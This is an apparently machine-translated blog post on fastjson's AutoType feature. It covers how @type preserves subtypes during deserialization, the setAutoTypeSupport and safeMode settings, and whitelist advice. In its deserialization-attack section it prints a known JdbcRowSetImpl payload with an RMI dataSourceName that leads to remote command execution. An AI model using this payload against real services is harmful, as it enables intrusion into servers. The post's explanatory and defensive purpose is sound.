当前位置:网站首页>A preliminary study on fastjason's autotype
A preliminary study on fastjason's autotype
2022-07-29 05:58:00 【Benben's coriander】
List of articles
- 1. AutoType Where is it sacred ?
- 1.1 type Field
- 1.2 setAutoTypeSupport
- 2. Deserialization attack
- 3.AutoType safe mode
- 4. Reference resources
1. AutoType Where is it sacred ?
Reference resources https://juejin.cn/post/6846687594130964488
fastjson Its main function is to make Java Bean Serialized into JSON character string , In this way, the string can be persisted by means of database and so on .
however ,fastjson There is no use in serialization and deserialization Java Self provided serialization mechanism , It's a custom mechanism .
Actually , about JSON Frame speaking , Want to put one Java Object to string , There are two options :
- 1、 Based on attributes
- 2、 be based on setter/getter
And what we often use JSON In the serialization framework ,FastJson and jackson Is serializing objects into json String time , By traversing all of the getter Method .Gson It's not that , He traverses all the attributes in this class through reflection , And sequence the values into json.
1.1 type Field
Suppose we have the following Java class :
public interface Fruit {
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Apple implements Fruit{
private BigDecimal price;
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Store {
private String name;
private Fruit fruit;
}
So here comes the question , What we defined above is Fruit It's just an interface , When serializing fastjson Can the property values be serialized correctly ? If you can , So when deserializing ,fastjson Will take this. fruit What type of deserialization ?
Let's try to verify , be based on (fastjson 1.2.75):
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
We created one store, He was given a name , And created a Fruit Subtypes of Apple, And then put this store Use JSON.toJSONString serialize , You can get the following JSON Content :
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
that , This fruit What is the type of , Can it be de sequenced into Apple Well ? Let's run the following code again :
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
Error in execution result , We try to Fruit convert to Apple, But an exception was thrown .
The above phenomena , We know , When a class contains an interface ( Abstract class ) When , In the use of fastjson When serializing , It will erase the subtype , Keep only the interface ( abstract class ) The type of , It makes it impossible to get the original type when deserializing .
So what is the solution to this problem ,fastjson Introduced AutoType, At the time of serialization , Record the original type .
The way to use it is through SerializerFeature.WriteClassName marked , In the above code
String jsonString = JSON.toJSONString(store);
Modified into :
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
The output is as follows :
{
"@type":"com.example.redis.entity.Store",
"fruit":{
"@type":"com.example.redis.entity.Apple", // More @type Map the full class name , Inverse sequence can find the corresponding class
"price":0.5
},
"name":"Hollis"
}
This is it. AutoType, as well as fastjson Introduction in AutoType Why .
1.2 setAutoTypeSupport
First , Can pass
ParserConfig.getGlobalInstance().isAutoTypeSupport(); // Get whether to allow AutoType( The default is fasle)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // Set global support or prohibition AutoType
Try closing AutoType after :
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // Set global support or prohibition AutoType
You can still find the above code normal Basis of @type Field to deserialize .
But if you use a paradigm , as follows :
Then there are the following Java class :
@Data
@AllArgsConstructor
@NoArgsConstructor
@ToString
public class Result<T>{
private T data;
}
Right again Store encapsulate :
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
//ParserConfig.getGlobalInstance().setSafeMode(true);
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
Result<Store> t = new Result<>(store);
String jsonString = JSON.toJSONString(t, SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);
Result result = JSON.parseObject(jsonString, Result.class);
System.out.println("parseObject : " + result);
Output results :
toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
com.alibaba.fastjson.JSONException: autoType is not support. // abnormal autoType is not support
....
If on setAutoTypeSupport(true),
toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
parseObject : Result(data=Store(name=Hollis, fruit=Apple(price=0.5))) // It can be deserialized normally
2. Deserialization attack
Because of the autoType function , that fastjson In the face of JSON When a string is deserialized , It will read @type To the content , Try to put JSON Deserialize the content to this object , And will call this class's setter Method .
So you can take advantage of this feature , Build your own JSON character string , And use @type Specify an attack class library you want to use .
for instance , Hackers more commonly used attack class library is com.sun.rowset.JdbcRowSetImpl, This is a sun An official class library , This class of dataSourceName Support for passing in a rmi Source , When you parse this uri When , Will support rmi The remote invocation , Go to the designated rmi Address to call the method .
and fastjson In deserialization, the target class's setter Method , So if hackers are JdbcRowSetImpl Of dataSourceName Set a command to execute in , Then it will lead to very serious consequences .
If you order one by the following means JSON strand , Remote command execution can be realized ( In previous releases , In the new version JdbcRowSetImpl Has been blacklisted )
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
This is known as a remote command execution vulnerability , That is to use the vulnerability to invade the target server , Execute commands through the server .
3.AutoType safe mode
The exploitation of these loopholes is almost all around AutoType To the , therefore , stay v1.2.68 In the version , Introduced safeMode, To configure safeMode after , Whether it's a white list or a blacklist , Don't support autoType, It can alleviate the deserialization class variant attack to a certain extent .
Set up safeMode after ,@type Field is no longer valid , That is, when the analytic form is like {“@type”: “com.java.class”} Of JSON String time , The corresponding class will no longer be deserialized .( Whether it's a white list or a blacklist , Don't support autoType).
ParserConfig.getGlobalInstance().setSafeMode(true);
So we use AutoType It is suggested to use the method of specifying the white list .
// Global on AutoType, Not recommended
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// It is recommended to use this way , Small designated white list
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");
4. Reference resources
fastjson What did you do wrong ? Why are loopholes frequently exposed ?
边栏推荐
- How to PR an open source composer project
- Laravel service container (inheritance and events)
- IDEA中设置自动build-改动代码,不用重启工程,刷新页面即可
- 重庆大道云行作为软件产业代表受邀参加渝中区重点项目签约仪式
- Markdown syntax
- Semaphore (semaphore) for learning notes of concurrent programming
- Laravel service container (Application of context binding)
- nacos外置数据库的配置与使用
- Gluster cluster management analysis
- SSM integration
猜你喜欢

量化开发必掌握的30个知识点【什么是分笔逐笔数据】?

Breaking through the hardware bottleneck (I): the development of Intel Architecture and bottleneck mining

Fantom (FTM) surged 45% before the FOMC meeting

Starfish OS: create a new paradigm of the meta universe with reality as the link

Gluster集群管理小分析

Refresh, swagger UI theme changes

nacos外置数据库的配置与使用

闪贷Dapp的调研及实现

以‘智’提‘质|金融影像平台解决方案

Super simple integration of HMS ml kit to realize parent control
随机推荐
Plato farm is expected to further expand its ecosystem through elephant swap
钉钉告警脚本
C# 连接 SharepointOnline WebService
主流实时流处理计算框架Flink初体验。
Sports health is deeply rooted in the hearts of the people, and move protocol leads quality life
The LAAS protocol of defi 2.0 is the key to revitalizing the development of defi track
性能对比|FASS iSCSI vs NVMe/TCP
Ribbon学习笔记一
Xsan is highly available - xdfs and San are integrated with new vitality
The completely decentralized programming mode does not need servers or IP, just like a aimless network extending everywhere
量化开发必掌握的30个知识点【什么是分笔逐笔数据】?
D3.JS 纵向关系图(加箭头,连接线文字描述)
手撕ORM 框架(泛型+注解+反射)
Get the number of daffodils
rsync+inotyfy实现数据单项监控实时同步
Super simple integration HMS ml kit face detection to achieve cute stickers
MySql统计函数COUNT详解
Okaleido tiger logged into binance NFT on July 27, and has achieved good results in the first round
并发编程学习笔记 之 Lock锁及其实现类ReentrantLock、ReentrantReadWriteLock和StampedLock的基本用法
并发编程学习笔记 之 原子操作类AtomicReference、AtomicStampedReference详解